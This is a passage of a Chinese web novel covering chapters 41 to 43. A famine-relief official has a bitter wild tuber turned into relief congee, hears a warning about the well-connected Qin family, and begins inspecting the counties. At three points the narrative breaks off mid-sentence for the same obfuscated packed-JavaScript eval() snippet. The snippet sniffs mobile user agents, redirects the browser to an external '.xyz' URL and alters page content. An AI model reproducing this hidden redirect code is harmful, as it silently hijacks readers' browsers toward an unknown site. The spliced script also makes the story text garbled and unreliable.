正说着，他却又突然顿了顿，目光落在靠边几样颜色更深的野物上，犹豫道：“不过还有些，比如这些……也有人吃过，说是能吃，可是涩得慌，吃完后舌头发麻、肚子还闹腾，小人不懂怎么做法，就没敢多碰。但杜县令说不管能吃的不能吃的，只要山里有的，都给您挖来。” 瞿宝砚闻言笑了笑，又道：“还有呢？” 蒋林挠了挠后脑勺：“还有——这些筐里的，其实也有人吃过，只是有老人说，有些野物火候不对就变毒了。但我们山里人图一口命活，有时候也顾不上那许多。” 瞿宝砚静静听着，记住方才他指过的那些，又转头对身旁一名小吏吩咐道：“去城东的‘德仁堂’，请堂里几个郎中即刻来衙，带齐本草药谱，来看看这些食材的药性，并一一记下来。” 小吏应声而去，脚步不敢怠慢。 瞿宝砚又望回蒋林，语气温和：“这些山中之物，既可食用，那你可晓得，在山中所产都有多少？一座山头，能挖得出多少，可供多少人充饥？” 蒋林抬头思索，语气带着些迟疑：“这……就，就有些看运气。有的年份多，有的年份少。像这‘牛头薯’，耐旱，旱年多，涝年就烂在地里了。” “有没有常见的，数量又多的山货？” 瞿宝砚这么一问，叫蒋林忽然想起什么，他一拍脑瓜，立即从箩中摸出一个粗壮长条、还带着湿泥的块茎，递了上来：“这个倒是常见，山里人叫‘猪芋’。整片林子里到处都是，扒开树根、翻点落叶就能挖出。可这东西——” 他眉头微蹙，神情有些为难：“味重，土腥得很，野猪爱吃，人吃了嘴里发麻、满口生涩，得禀着气才能下咽，山里人也只有到了实在是揭不开锅的时节，才肯动它。” 瞿宝砚接过那“猪芋”，拿在手中细看，那块茎皮色暗黄粗糙，嵌着泥，握在手里沉甸甸的，闻起来确实一股浓重的土腥味，大概没人会觉得可以入口。 此刻院子里围了不少人，一旁的刘双娘听闻动静也赶来前院看热闹。她倚在廊柱边，手中拢着袍袖，伸长脖子，目光在那几箩筐野物间游移，早先不以为然，直至那“猪芋”被蒋林举起，她眼底微光一闪，神情略动。 只听瞿宝砚开口：“既然到处都是，可够岳临的百姓吃？” 蒋林想也不想，脱口而出：“要能吃那肯定是够了。咱们岳临靠山吃山，满林子都能挖出来。但关键是这玩意儿吃不得。要是能吃，咱们山里人也不用年年饿肚子了。” 话音落地，院中静了一瞬。 瞿宝砚沉静道：“总归有办法，先叫郎中看看毒性如何，再看看有没有旁的做法。” “唉。” 蒋林话音刚落，一旁一道女声兀地响起：“大人，我可以试一试。” 这声音并不陌生，却叫众人都一愣。 几个小厮在一旁面面相觑。 今儿太阳打西边出来了？这刘管事可是最嫌事多，一点麻烦都不愿沾，如今居然自告奋勇起来帮忙。 回头看时，刘双娘已大步走上前来，她没多言，双手擦了擦衣摆，蹲下身捡起几个“猪芋”，仔细看了看，道：“这玩意儿我娘教我过一些法子，土腥归土腥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169147|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可也不是没办法治它。” 她抬头望向瞿宝砚：“大人可介意让我试一试。” 瞿宝砚闻言看向她。 院中光线斜落，将刘双娘身影拉得修长，她蹲在箩筐旁，眼中不见往日的油滑世故，取而代之的是一抹难得的认真。 瞿宝砚颔首：“那就有劳刘管事了。” 刘双娘听到这话笑了笑，她动作爽利，又恢复往日那劲头，转头对身后唤道：“厨房那边，起灶。先把这些东西挑些好的搬过去——辣子、生姜、米也给我一并备上。” 灶房设在州衙偏院，素日只供常膳所用。此刻灶火新起，灶口吐烟，锅中水响，烟气腾腾中多了几分不同寻常的热气与人声。 刘双娘挽起袖子，指挥着两名小吏将猪芋放入大盆，又吩咐人备好草木灰、姜片、山葱、辣子和粗盐。 她挥刀利落，唰唰几下削去表皮时一股浓烈土腥扑面而来，她皱皱眉，手下动作却不停。 她一边切，一边指挥打下手的道：“第一回得拿草木灰煮一炷香，逼出苦味；第二回换清水，焯滚两遍；第三回才上锅炒香，要急火，猛油，靠热气锁住腥。” 锅中热水翻腾，小吏将一盆削好的猪芋倒入锅中，草木灰随水涌动，空气里顿时多了一股古怪气味，像湿泥混着柴火，又隐约带点焦涩。 众人原围在门边好奇张望，这味道一起，有的捂鼻，有的皱眉，有人差点要呕出来了，连忙跑开。 宝桃儿捂着口鼻眼眶里泪直打转，瞿宝砚站在一旁静静看着，神色贯注。 时间一点点过去，刘双娘捞出焯过的猪芋，用布擦干水，另起油锅，热油劈啪作响，辣子与葱姜丝一齐入锅，随即香气炸裂，掩去了先前那层令人作呕的腥。她神情专注，手起铲翻，将猪芋段抛入锅中，猛火翻炒，一勺酒泼下，蒸汽扑脸而来，香辣夹着焦香，叫人不由咽口水。 蒋林鼻头动了动，惊讶地道：“……还真是香的！这——这猪芋成香芋了！” 刘双娘将炒好的猪芋盛入粗瓷碗中，揩去双手上的油，才递出去道：“大人尝尝看吧。” 那混着猪油的焦香与芋头绵糯的甜气扑鼻而来，众人都在惊奇中，刘双娘却望着这股味道出了神。 刘双娘不是渌州人，府里人却都不知道，以为她是个地地道道的渌州老人。 在刘双娘很小的时候，大概是几十年前了，老家发大水，村子一夜之间被冲了个干净。水退之后，到处是淤泥、死猪、烂房，天黑得像锅底。 她原本一家四口，爹和弟弟却在那场水里走散了，从此杳无音信。只剩她和她娘相依为命，逃荒，讨饭，钻破庙，啃树皮，饿到手脚发抖，走两步就得蹲下来喘气。 连续几天没得吃，她被饿到眼冒金星，娘说不出话，只是把她搂得紧紧的，背着她往山里走，去找吃的。回来时，带了一堆泥巴似的野果野藤，就有这个“猪芋”。 她娘用草木灰生了火，找了块破瓦片，当锅使，慢慢焙它，一边焙，一边喃喃念：“双娘哟，咱们要是有锅，娘就起点油，给它爆上葱姜辣椒一炒做给你吃，准香；要么切碎了，焯两水，跟米一块儿熬，熬到软烂，加点糖，诶哟，可香甜喽……” 她就躺在娘腿上，好似嘴里吃的，就是那样的味道。 她娘说的那味，她一辈子也没吃过，可那个味道，她却从没忘过。 41. 锅中乾坤2 刘双娘回过神来时，那盘炒猪芋早已在众人间传了一圈，碗中所剩无几，人人赞不绝口。 “真行啊刘头，咸辣入味，腥气全没了！” “糯糯的，好吃！刘妈妈手艺绝了！” “要是有饭，这香味，我能连吃三碗！” 碗被传回灶边，众人或赞或笑，气氛热络。 瞿宝砚站在庭前，方才她第一个动筷，确实有些惊讶能做出这般好味来，土腥尽去，香辣扑鼻，令人胃口大开。 这菜确实是成了，但这般做法，需油盐、还需火候讲究，香气虽足，却耗物太多。如今赈灾救济，这些都紧缺，根本不可能依此大批供给灾民。 她转眸又望向刘双娘，道：“刘管事，此物可还有别的做法？”顿了顿，补道：“最好是灾民能吃的法子，家家户户都能照着做，不费油盐、不费手艺，还能吃饱。” 刘双娘抬头，眼神一动，点点头：“大人说的是，那便换个做法。” 她重新起锅，取剩下的猪芋切碎，和半勺米一并下入铁锅，加水慢熬。火苗舔着锅底，汤色渐白，猪芋在米汤中煮得糜烂如泥，隐隐透出一丝淡淡的清香。 约莫一刻钟后，她揭开锅盖，舀出一碗热腾腾的杂粥，递上前去。 “这法子不加油盐，这一锅起码能管七八个。猪芋跟米掺着煮，半勺米就能煮一锅，不费什么粮，还管饱。火一旺，煮烂了就能吃，软乎乎的，嘴里胃里都不难受，您尝尝。” 瞿宝砚接过，先尝一口。 舌尖一触即化，米香混着猪芋淡气，像是一股暖流滑过胃里，顺口饱腹。 她双眸微亮，点头道：“可以。” 有小吏匆匆来报：“启禀大人，德仁堂的三位郎中都来了。按您的吩咐，他们先验了猪芋的药性。” 瞿宝砚抬眸：“可有什么说法？” 小吏答道：“吕郎中说这猪芋性寒微涩，性属平和，生食则伤脾胃，煮熟了便可以吃，没有毒性。” 瞿宝砚微微颔首，目光沉静：“记下。今日德仁堂所验所有山货的药性都一条不漏地录入案中，存作参考。”又看向身侧笔吏：“再将刘管事方才所示猪芋的去腥煮食之法，也一并详录。步骤须写得清楚详细，方便学着做。” 说着她放下碗：“岳临一带盛产此物，便先由岳临带头照此法分批试做，记众人试过之后的反应，若可行，再行推广。” 那边蒋林忍不住也讨了一碗杂粥，端起来咕噜咕噜几口便喝了个底朝天，粥一入口，那双眼亮得发光。瞿宝砚话音刚落，他差点跳起来，擦把嘴，兴奋道： “这！这可真是好东西啊！大人，您这府里可真是藏龙卧虎！连这种东西都能整出法子来！这下可好了，咱们不用再挨饿了，总算有一口热的能吃了！” 说着又忍不住继续念叨：“太好了，太好了……真是救命啊！”竟抱着空碗手舞足蹈起来。 屋里众人看着他那副模样，先是愣了愣，随即忍不住纷纷笑出声来。 不是嘲笑，而是从连日灾情与困顿中，透出的几分暖意与松快。 刘双娘见了笑骂：“吃碗粥给你出息的，想吃再给你来一碗！” 瞿宝砚闻言，眼中也浮起一抹浅笑。 她又转眸望向还握着锅铲、站在灶前的刘双娘，语气温和郑重：“刘管事之劳，此事当记首功。这一锅粥，叫这么多百姓都看见了希望。我宝砚在此，替灾民先谢过一声。” 说罢，她微微一躬，躬身拱手，行得极是认真。 刘双娘一怔，看着对她行礼的瞿宝砚，锅铲都差点没握稳，眼底一时间闪过不可思议，又难以言表的神色。 屋内众人也都静了下来，纷纷将目光投向刘双娘。 但那眼神里，取而代之的，是敬意与几分近乎新认的尊重。 这番架势叫刘双娘一时有些不自然，手里的锅铲都握得僵了几分，她拍了拍裙，双唇抖了抖，轻咳一声道：“哎哟，大人这话太折煞人了，我一个后厨管事的，哪敢当‘功臣’二字。” 话虽如此，但语气里也藏不住那一点点骄傲。 “替大人分忧也是我们该做的，灾民能吃饱饭我们也高兴，再说，我这···这不也是给自己攒点功德，将来说不定还能折点好报呢。” 话一出口，满屋又是一阵轻笑。 刘双娘也没让这股风头持续太久，眼珠一扫，见一圈小厮围得死紧，立马扬了扬下巴，眉一挑，熟稔地哄开了人群： “行了行了，都围着看什么热闹呢？大人还在这，你们活都干完了吗，一个个的？” “该去抬水的抬水，该洗菜的洗菜，厨房是你们站着听评书的地儿？” 这一日，知州府中似乎都轻快了几分。 宝桃儿去厨房取晚膳的时候，发现平日里被教训的厉害，总嘟着嘴暗骂刘双娘的那几个小丫头也在一旁欢声笑语起来。 她笑了笑，提着食龛出去，却发现院中青砖又湿了。 好不容易连着晴了几日，入夜却又变了天。 申末时分，西南起风，到了戌时，窗纸微响，淅淅沥沥的小雨便悄然洒落，落在瓦上、檐下、石阶之间。 一片轻微不断的雨声，把白日的喧闹悄然掩去。 书房内，瞿宝砚用过晚膳，又坐在案前。案上堆着几份从各县送来的灾后呈报，有关仓储、劳役征调，还有数份是百姓递来的申诉和求粮文牍。 她执笔批阅，神色清明。 门外忽然传来脚步声，一名小吏快步进来，低声禀道： “大人，李通判求见。” 瞿宝砚闻言，手中朱笔微顿。 李秉德怎么会这个时候来找她。 她心中略一思忖，只淡淡道：“叫他进来。” 不多时，雨声微响中，李秉德踏入书房。 他穿了身浅灰色直裰，披着半湿的斗篷，鬓边带雨，神情却是从容稳妥。 一入内，他便拱手低声笑道：“这等时候来叨扰大人，实在是唐突。只因心中有些事，总觉不说实在不安，冒昧了。” 瞿宝砚早已起身相迎，颔首道：“李通判多礼。夜深雨重，既然来，想必确有要事。不妨直言，请坐。” 她让了个座，倒了两盏热茶，推至案前。 室内一时有些安静。 李秉德接过茶盏，喝了口润了润嗓子，又望着杯中茶水，酝酿片刻后，颇为感慨道： “瞿大人，这段日子，咱们来来往往也打了不少的交道了。您是什么样的人，我李秉德虽不才，但看人也还算准。我是什么样的人，大人心里想必也有了数。今儿这天凉气爽，有什么话我也就不绕圈子直说了。” 他说着，嘴角似笑非笑，眉目间却没了平日那股打太极的滑头气，多了一分凝神敛意。 “说句老实话，大人您刚来那会儿，我们这些老官心里头确实是不怎么服气的。” 说着李秉德顿了顿，余光瞥向瞿宝砚，见她静静等着下文，便继续道： “可也不怪，您不知道，这渌州来来回回多少的主官，每次来都是一地鸡毛，接着拍拍屁股就走人了，烂摊子留下来都是我们收拾，我们这些底下人，只能跟着兜着转，简直苦不堪言。这回，听说来的还是个新进士，状元是不错，可没资历、没旧任，从哪儿来的咱都不知道，这心里头难免有些忐忑，怕是压不住这渌州的事。不过——” 他说着话锋一转，语气也恭敬起来：“这段时日下来，大人的手段，确实叫李某刮目相看，这水患关前，将咱们这地治理得井井有条，不乱分毫。唉，想来也是，世上能人何其多，岂是年纪大小便能分出高下？大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174870|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独挡一面，这份胆识与章法——我李秉德，是心服口服，也看得出来，您是实打实地做事。” “可正因如此，我才不得不来提醒大人一句……”李秉德语气低沉，带着几分无奈，“实打实办事，最容易得罪人。” 他话音落，瞿宝砚却似毫无触动，手指轻轻转着茶盏，低头抿了一口，语气淡淡： “得罪谁？” 李秉德被噎了一下，许久才叹了口气，眼神复杂地望向她：“大人，您还不明白吗？铁打的衙门，流水的官。” “您真以为，能把渌州从根上改头换面么？” “不错，您这一任，清廉勤政，确实替百姓办了不少事。可问题是，您能待多久？您一走，下一个来的，还会是您这样的官儿吗？这水浑久了，什么事也没有，大家都习惯了。但要是一会儿清一会儿浑的，那问题就大了，整个衙门都要乱套。” “大人，您清风亮节，我敬佩。但我劝您一句，政绩留得，口碑在，升迁有望，便是功德圆满。何必非要搅个底朝天呢？” 瞿宝砚听他将一席话说完，缓缓放下茶盏：“你是替秦家来做说客的？” 李秉德眉头一跳，盏中茶水晃了一下。 可未等他开口，瞿宝砚又道：“本以为，秦家只是渌州一户富商，如今倒令我有些好奇了。” 她微微一笑，却不达眼底，看向李秉德，语声仍是温和：“这秦家，到底是什么来头？” 李秉德盏盖在指间一顿，被问的心头一跳，而这一问令他一时竟有些拿捏不准瞿宝砚的态度了。 若她真是清正严明、疾恶如仇之人，此刻理应当场逐客，痛斥他才是，可她却反问起了秦家的来路…… 这话问得不轻不重，却叫人有些捉摸不透。 是出于审慎？还是另有顾虑？ 他心中一动。 瞿宝砚办事一向滴水不漏。登第为状元，又得圣上钦点，仕途可谓坦荡无虞。像她这样的人，怎会不权衡利害、深思熟虑呢？ 既知自己前途无量，没有人会轻易拿自己的前程做赌注—— 李秉德权衡了下，还是开口道： “大人初来乍到，或许还不曾细查渌州上下的脉络。秦家虽是商户出身，可与咱们江南道的巡抚府，那可是姻亲。秦家那位主母，正是巡抚大人的幺女。如今秦夫人虽已驾鹤西去，但巡抚大人对秦家的三个孩子可是疼爱非常。” 他看了瞿宝砚一眼，眼神带着几分意味深长：“渌州地方虽小，可粮饷、赋税、河工、仓运……哪一桩不是要人、要路、要船？这些年，秦家名下的仓、船、码头、工坊，几乎占了整个渌州半成以上。就是每年年终的政绩报送，其中不少数，说句实话——也多亏了秦家‘襄助’，才得以顺顺当当地报上去。” “这江南道上的知州升迁，绩效考成，所呈之章，又皆需由巡抚大人签押保举，方能入京。没有一道印信，是进不了朝堂的。大人若是真想要做出些政绩来，怕是也绕不开这道‘江南一印’。” “若能得巡抚大人点个头，京中自然高看一眼；可若是他心中有疙瘩……那章文写得再好，恐怕也未必有用处啊。” 他话音刚落，屋中一时寂静。 窗外原本只是淅沥小雨，此刻却骤然大了起来，噼噼啪啪砸在屋檐上，似有人拎了桶水从天倒下。 紧接着，一道沉闷雷声滚过夜空，如鼓如钟，自远而近，压得人心头一震。 书房之中灯火摇曳，烛影斜晃，映得几案上的朱砂笔墨微微泛红。 瞿宝砚却不动声色，只静静端起茶盏，轻吹一口热气，神色沉稳如常，眼神却沉如深潭，看不清底。 忽而，她抬眸，目光平静地看向李秉德，语声轻淡： “雨大了，夜路湿滑。李通判，还是早些回去吧——” 42. 下县巡查 午后偏西，书房中尚未点灯。 瞿宝砚仍伏案看着调令与信件，案头那一摞摞册子堆得像小山，似乎翻了一日又一日，却也翻不见底。 近了七月，风掀窗纱，卷来外院缕缕蝉声与暑气。 她换了一身素净的夏衣，鬓边被汗濡出微微潮意，却不显疲态，神情一如既往沉静专注，透着不容打扰的静力。 宝桃儿端着清凉饮入内，看到瞿宝砚埋头案前的模样，不由轻轻叹了口气，想罢，还是略带嗔意唤道：“小姐，该歇一歇了。” “这几日天晴了，水也落了，百姓也都安定了，您总该放宽心了才是。再不歇一歇，这马上一出门便是几十里山路，您叫身子哪里吃得消？若是累出了病来，渌州可没人敢让你躺下歇病的。” 瞿宝砚这才终于放下笔，肩背轻轻一松，望着她笑了笑，和声道：“放心，我心里有数。况且这一州才刚稳住，我可不能倒下了。” 说着接过宝桃儿递来的清凉饮，浅抿一口，一身热气被那一口凉意润过，又问：“马车都备好了？” 宝桃儿应道：“都妥当了。刘管事今早就吩咐人整顿行李，陈叔刚才又去马棚转了一圈，说山路难行，还特地往车里加了些软垫。” 她说着，将手里的空杯接过，又好奇问道：“不过小姐，您这么着急出发做什么？如今没什么要紧的事，歇歇才是正经的。眼下天也热，道路又难行，您这几日早晚奔波，我瞧着都心惊。不如歇一晚，明儿一早再走。” 瞿宝砚将手中信笺叠好，指腹轻抚封口处，淡声道：“有些事看似安定了，实则还有不少问题。渌州这些官，光靠一两句话是唬不住的。如今各县都晓得渌州府要查灾后粮配与工账，早做了准备。他们比谁都清楚，这账该怎么报才能让上头满意。” “原先是不把我放在眼里，如今是防得滴水不漏——等真查起来，空口无凭，纸上无错，连句重话都落不到他们头上。” 她抬眼，语气一顿：“所以这趟，非亲自走一遭不可。” · 七月暑气渐起，尘土被日头烘得发烫，足过之处都隐隐泛起热浪。 山间蝉声噪个不停，自林间穿耳而来，愈显天地寂燥。 汀水县县衙后院，烟树掩映之间，一座小亭立于荷塘之畔。 水面泛着日头的光，蝉声也掩不住丝竹慢奏。亭中设案，酒果盈盘，几缕清音穿过回廊，声声婉转，偶有轻笑传来，惊落荷叶上的几点雨露。 温咏初身披丝缎，斜倚竹榻，手中折扇轻摇，脸上却是掩不住的倦意，像是听了许久也未听出个趣味来。亭中尚有数人，或倚栏倚柱，或举杯劝盏，兴致颇浓。 “张班的《彩楼记》唱得不如前些日子了，”温咏初微微蹙眉，指间扇骨轻敲椅边，“你瞧瞧，这身段也松了，节子也不稳，听得一个无趣。” 一旁幕僚笑道：“老爷，这也不怪，这几日县中重修堤坝，他们连日上戏台，嗓子也都唱疲了。” 温咏初不置可否，扇面一合，道：“下回换个戏本吧，总这么几出，耳朵都磨出茧了。” 正说着，外头小吏快步而来，立在亭外，拱手低声道：“大人，州里衙门来信，说知州大人近日下县来巡查了，是否要提前准备迎一迎？” “嗯？”温咏初眉梢挑了挑，语气倒没有多少紧张之意，反而带了点懒散，“巡查？她不是才刚上的州堂么，哪有官这么闲的？” 幕僚低笑：“兴许是立威，毕竟是新官上任，上回把您叫去还不过瘾，这回恐怕是想敲山震虎一番，提前准备准备也好。” 温咏初摆了摆手，语气淡淡：“她若真要来，总是要提前发文通告，若无调令，咱们也不必自乱阵脚。况且这汀水还排在岳临丰安后头，山路又难走，这尊大佛什么时候到还不知道。急什么？” 底下几个幕僚相视一眼，也没说什么。 温咏初接了凉巾覆在面上，躺在躺椅上，手中折扇一挥，笑道：“若是咱们知州大人真有兴致来听曲儿，本官倒也不介意亲自安排个前座给她。” 亭中众人闻言都笑了，气氛一时轻松起来。 不远处，几尾锦鲤自荷叶间穿游而过，水面漾起一圈圈微波。 · 暑气渐盛，山中却仍带着夜雨后的凉意。 车马行至岳临西境，路势渐陡，前日暴雨冲塌过一段山道，道旁的老树根部露出泥脉，像是才从水下挣脱出来一般，官车也不得不停下，由人牵行而上。 前方山腰，一处处临时搭建的棚屋散落在山地平台上，屋顶用茅草油布遮盖，边上用碎石压着。炊烟从棚顶升起，被山风吹得斜斜扬扬，带着一股芋头和杂粮混煮的清淡气息。 一人身着旧布短袍，候在路旁，那袖口溅着干泥，脚上靴沿开裂，裤脚处更沾了厚重的雨泥，看得出连日奔波不歇。 杜彦然早早便赶来等着了，一见官车抵达，几个快步上前，躬身迎接，双手合抱，恭声道：“卑职杜彦然，拜见知州大人。” 瞿宝砚掀帘而下，一袭粗布青袍，腰间系着素色革带，见着杜彦然微微颔首道：“杜知县辛苦了。” 杜彦然身后还跟着一位少女，面容清秀，身穿素裙，正低头弯腰，替母亲拎着包袱，见到来人悄悄抬眼瞧了瞧，眼中满是好奇。 “这位是？” 杜彦然侧身介绍：“回大人，这是小女杜韶，年方十二。”又转头唤道：“韶儿，还不快见过大人。” 杜韶闻言忙将手中包袱换到左手，学着母亲模样，整了整衣角，郑重其事地一揖到底，语声清丽：“小女杜韶，拜见知州大人。” 瞿宝砚低头看她，眸光多了几分笑意：“杜韶这名字起得好，韶音清润，内蕴风华；既有山水之意，也有文章之气。将来读书写字，当比你母亲更胜一筹。” 杜韶听得脸微红，垂首应了声“不敢”，却又忍不住悄悄抬眸看了对面的人一眼。 杜彦然在一旁神情也舒缓了几分：“小女自幼性子拗些，不太肯守规矩，倒是今日见了大人，竟也知道乖了。” 瞿宝砚轻笑：“守规矩是好事，但有自己的胆魄与见识，可比单守规矩更可贵。” 杜彦然点头称是，但一侧的杜韶闻言心中却暗暗记下了这话。 瞿宝砚说罢转眸望向远处烟树掩映的山棚，道：“走吧，先去看看村中安置。” “是。”杜彦然也敛了谈笑神情，连忙道：“下官今早去了三所安置棚点，问了粮食分发，也查了几户低洼转迁的村户。岳临虽水患不重，但山路多，塌方处不少，矮处几村也全淹了。幸好转移及时，没出人命，只是村民的家什财物都损失得厉害，如今往上山安家去了。” 瞿宝砚听完，脚下微顿，转头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191066|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一眼：“这些人家的情况可都记下了？” 杜彦然连忙点头：“记了，按户造册，照村归类，还在逐日补查。” “那便好。”瞿宝砚颔首，“把造完的户册都送来州府，那些损失厉害的人家就由我批转江南道，替他们申一份蠲免，今年的杂税就免了。” 她看了看山坡上方那些还在搭棚的百姓，又道：“若是后头实在难过，也可以让他们来申赈贷，州府这边批得快。借粮、借布、借木料，只要用得上，就先借着用，等过了这阵子，再慢慢还也不迟。” 杜彦然闻言一怔，眼中似有微光闪动，随即拱手郑声道：“能得大人念及此，下官……实在不胜感佩，谨代岳临父老谢过大人！” 瞿宝砚声音温和：“咱们赈的是一时之难，扶的却是一县之气。百姓的骨气不能伤了，重建的志气也不能断，如此，来年才有盼头。” “是。”杜彦然又想起另一桩事，“多亏了上回大人提醒得早，又送来了猪芋的烹饪方子，如今山上村民都吃上了猪芋粥。现在妇人带着孩子上山挖芋，男人们则负责搭房、修棚。虽说辛苦，好在人人都有事做，山上山下也都安稳了些。” 她略一顿，又补充道：“不过我记得大人之前提过，说这芋头也可运去别县赈灾，如今下头几村已收了不少。我想着，若能按村分工，派人驮运去清阳、汀水，也算是尽一份力。再说……往后若有路子拿去卖，百姓手里也能换些余钱。” 瞿宝砚听罢，点了点头：“这法子好。县中多出的猪芋，先送一批去汀水，那处灾情最重，救得早些，百姓便能缓一口气。” 她微微侧目望向山上薄雾间那些忙碌的身影，淡声道：“这场水虽伤了田，但也算给了岳临一条路。只要这芋头真能做出路数，接下来便不只是‘救命’之物，而是‘过日子’的营生了。” 她收回目光：“不过要记住了，这些调往他县的猪芋路数要稳，不能出岔子，更不能有私贩掺水的事。一旦叫人钻了空子，这点信用就砸了。” 杜彦然肃然应道：“是，下官会盯紧。” 瞿宝砚忽而停下脚步，微微一笑，道：“不过，这‘猪芋’的名字倒是粗了些，若将来真能售往别处，不如换个好听些的叫法？” 杜彦然一愣，随即道：“大人所言极是，‘猪芋’这名字说出口确实有些古怪，不像是人吃的，是该换换。” 一旁的杜韶眼珠一转，眼中忽然一亮，道：“叫‘雪芋’怎么样？它煮粥吃起来白白的，糯糯的，吃着像雪一样软。” 她说得认真，眼里闪着光。 杜彦然哭笑不得：“你这丫头反应倒快。” 瞿宝砚却点了头，眼中带着几分赞许：“‘雪芋’，白如积雪，糯若春膏，好名字。” “就叫‘雪芋’吧。” 她望向杜韶，唇角微弯：“往后若这‘雪芋’真成了岳临的一个招牌，你这一语，也算是起了头功。” 杜韶听得怔了怔，被夸的耳根一下红到了脖颈，一时间竟忘了应声，只是下意识低头捏紧了手中布角。 她心里像是被什么轻轻拨了一下，说不清是欢喜还是慌乱。 只觉胸口有些发烫，眼角余光还是不由自主地朝瞿宝砚那边望去——那身素色青袍在阳光下并不耀眼，却比山上的雪还要清冷肃静。 只一眼，却叫人终身难忘。 43. 下县巡查2 这几日，瞿宝砚留驻岳临，白日走村入棚、巡查山路夜雨之下的塌口与安置点，夜间便在县署审阅村户册目、灾后粮账与各类请调公文。 她来时未曾预告，走得也不声张，但县中上下皆知这位知州大人事事亲为，心细如丝，不拘虚礼。 百姓最初只是观望，到后来便有人主动送上热水、借来草帽，再后来，则大伙悄悄做了些芋干、炒了粳米，放在她住下的县署门口。 日过巳时，天光正盛。 一行人从山中安置棚点折返，车马停在山脚驿道处。瞿宝砚与杜彦然并肩而行，还在清盘着县中事宜。 百姓自发地聚在山道两旁送行，都是些搬上山不久的村人，衣衫虽旧，面上却难掩精神。 一老妪将一包芋干递上前去：“大人，这几块芋干不值钱，要是在路上饿了，您就嚼几块垫垫。是咱们村子里大伙的一点心意，不成敬，您收着，收着。” “好，多谢乡亲们了。”瞿宝砚上前亲手接过。 马车启动之际，两旁百姓齐齐目送那车轮碾过山石，一路辘辘，风从两岸山林间穿过，仿佛将那千言万语都藏进了蝉声深处。 车帘微卷，宝桃儿探身进来，小声问：“小姐，咱们下一程是要直接往丰安去吗？” 瞿宝砚收起怀里的雪芋干，放在案几阅过的文书上，淡声道： “不。去汀水。” · 池畔小亭被绿藤半掩，乐声清柔，似水中凉意荡漾，驱散了夏日暑气。香风自水面而来，带着荷叶荷花的淡淡清香，沁人心脾。 温咏初负手临水，似有感于景，忽而吟道： “小池碧绿照晴光，竹影摇风昼亦凉。” “荷畔荫浓香自远，独坐忘机觉夏长。” 这诗一落，亭中顿时爆发出一片叫好，众人纷纷称赞。 “好句！实在好句！昼亦凉、夏尤长，真是四字绘尽一境。要我说，大人这诗当刻在园中石上，方配得这荷池碧水呐！” “才思如泉，脱口成章，温大人这一诗，怕是连州里几位词坛老士也要自愧不如啊！” “温大人真不愧是我汀水的文脉所系，若编一本《汀水集》，此篇必为卷首之作呀！” “诶，此诗可不止入书，当为祠庙题额、亭台立匾！若后人来访，读得此句，便知我汀水县温大人的风雅远胜前贤才是！” 一时间，席上笑语声声，觥筹交错，扇影飞舞，浮在水面。 温咏初不甚在意，只轻摇折扇，半带笑意道：“不过是触景生情，随手拈来几句罢了，不值一夸。倒是这芰荷亭边，今夏开得比往年还盛，怕是也听懂了我这闲调。” “是是是——” 众人又再次纷纷附和起来。 说话间，一段细乐又起，似冰泉落玉，越发衬得这园中景致幽静宜人，倒也真有几分“曲水流觞，风月无边”的闲趣。 正此时，一名小吏自园外进来，快步走到一人声旁，低声耳语了几句。 那幕僚脸上划过一丝不耐，低声呵斥：“闹？叫他们闹去！该发的都发了，该查的也查了，还闹什么？没见大人兴致正高着呢？下去！” 小吏不敢再说什么，只低声应了句“是”，退了出去。 汀水城外，西郊堤畔，暑气蒸腾，日头正毒辣。 几座简易草棚搭在河堤下方，棚前斜挂着一块小牌，写着“分派登记”，墨迹被晒得都有些发灰了。 棚内坐着两个衙役，皆挽起袖子，拿着册子扇风，满面的油光汗气。棚外，围了几十来个村民，皮肤晒得黝黑，嘴唇干裂，个个汗如雨下，脸上却挂着火气。 “说好了以工代赈！干一天记一天，工钱兑粮！现在我们都干了小半月了——可到现在，连张凭票都没见着，家里还等着米下锅，官府总得给我们个说法吧！” 另一汉子将锄头“咚”地往地上一戳，也怒道：“当初说得好听，说堤修好了就发米，还贴告示呢。现在我们堤也修了，水也退了。咋的，现在人也看不到、粮也发不出？这不画大饼骗人吗！” “凭什么叫我们白干！” “不行！今天必须得给我们一个说法！不说清楚，咱们就不走了！” 人群中喧哗声顿起，像火头越烧越猛，连暑气都随着这股愤怒滚滚升腾。 棚中一役吏被吵得烦了，本来天就热，蒸得人满头是汗，他们倒了霉接这破差事，连口水都没得喝。现在这群人还找他们要说法，那他们找谁要理去？ 